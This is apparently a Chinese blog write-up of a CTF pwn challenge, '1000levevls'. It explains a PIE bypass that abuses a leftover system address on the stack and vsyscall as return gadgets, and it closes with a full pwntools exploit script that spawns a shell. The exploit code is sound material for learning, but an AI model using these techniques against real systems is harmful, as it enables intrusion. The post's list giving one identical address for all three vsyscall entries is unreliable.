攻防世界-PWN进阶区-1000levevls(XCTF 3rd-BCTF-2017)

这道题是攻防世界上面一道六星的pwn题,比起之前的还是挺有难度,做完也有很大收获

题目分析

首先checksec查看开启的保护
在这里插入图片描述
可以看到这题比之前的题目多了一个PIE保护,下面就简单介绍一下什么是PIE

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题

下面接着对源文件进行分析

main函数
在这里插入图片描述
hint函数
在这里插入图片描述
go函数
在这里插入图片描述
在go函数中我们可以发现如果v2<=0的话,v5是不会被初始化的,而之前的hint函数中出现了system函数的地址,这个地址会不会在栈上保存呢?
接下来我们看一下hint函数的汇编代码:
在这里插入图片描述
可以看到system函数的地址被放到了rbp-110h的地方,而go函数中v5变量的位置正好就是rbp-110h
这里就出现了一个可利用的地方,如果我们进入go函数之后第一次输入小于等于0,system的地址就被保留在了栈上,而之后程序还会让我们进行一次输入,并把rbp-110h位置处的值变为加上新的输入的值,这个新的输入是没有限制的,意味着我们可以把system的地址改为libc中的任何地址。
接下来再看看play_game函数:
在这里插入图片描述
这里有一个明显的栈溢出,buf的大小仅为0x8,却可以读入最多0x400的数据,这意味着我们可以改变函数的返回地址,但是开启了PIE保护,意味着我们不知道程序执行时候的真实地址,那我们要把返回地址改成什么呢?
这里就需要利用vsyscall和之前保留在栈上的system函数了

vsyscall是什么?

vsyscall是第一种也是最古老的一种用于加快系统调用的机制,工作原理十分简单,许多硬件上的操作都会被包装成内核函数,然后提供一个接口,供用户层代码调用,这个接口就是我们常用的int 0x80和syscall+调用号。
当通过这个接口来调用时,由于需要进入到内核去处理,因此为了保证数据的完整性,需要在进入内核之前把寄存器的状态保存好,然后进入到内核状态运行内核函数,当内核函数执行完的时候会将返回结果放到相应的寄存器和内存中,然后再对寄存器进行恢复,转换到用户层模式。
这一过程需要消耗一定的性能,对于某些经常被调用的系统函数来说,肯定会造成很大的内存浪费,因此,系统把几个常用的内核调用从内核中映射到用户层空间中,从而引入了vsyscall

值得注意的是,vsyscall的地址是固定不变的,即使开启了PIE也不会改变!

可以利用的vsyscall有三个,地址如下

gettimeofday: 0xffffffffff600000
time: 0xffffffffff600000
getcpu: 0xffffffffff600000

注意:当我们直接调用vsyscall中的syscall时,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错

play_game函数是由go函数调用的,它的栈溢出就会修改go函数的栈,因为开了PIE,我们能使用的返回地址只有vsyscall和前面保留在栈上的system函数,这里我们可以把vsyscall函数当成ret的gadget,通过对栈分析,我们需要3个ret之后rsp才会指向system函数,而我们可以利用程序吧system修改为one_gadget,这样就能直接获取shell

找一下libc中的one_gadget:
在这里插入图片描述
我们就用偏移为0x4526a的gadget,这样在进入go函数之后,第一次我们先输入0,第二次输入(0x4526a-system的偏移),当然这个偏移是大于100的,所以我们要玩99次游戏,在第100次时通过栈溢出修改返回地址获得shell

Exp

from pwn import *

r = remote("111.198.29.45", 38783)
libc = ELF("./1000levevls/libc.so")
one_gadget = 0x4526a
system = libc.symbols['system']


print r.recvuntil("Choice:\n")
r.sendline('2')
print r.recvuntil("Choice:\n")
r.sendline('1')
print r.recvuntil("How many levels?\n")
r.sendline('0')
print r.recvuntil("Any more?\n")
r.sendline(str(one_gadget-system))

def calc():
	print r.recvuntil("Question: ")
	num1 = int(r.recvuntil(" "))
	print r.recvuntil("* ")
	num2 = int(r.recvuntil(" "))
	ans = num1 * num2
	print r.recvuntil("Answer:")
	r.sendline(str(ans))

for i in range(99):
	calc()

print r.recvuntil("Answer:")
payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3
r.send(payload)

r.interactive()

成功拿到shell
在这里插入图片描述

最后,关于PIE的详细资料,可以看一下这篇文章
https://www.anquanke.com/post/id/177520

发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/104574782
今日推荐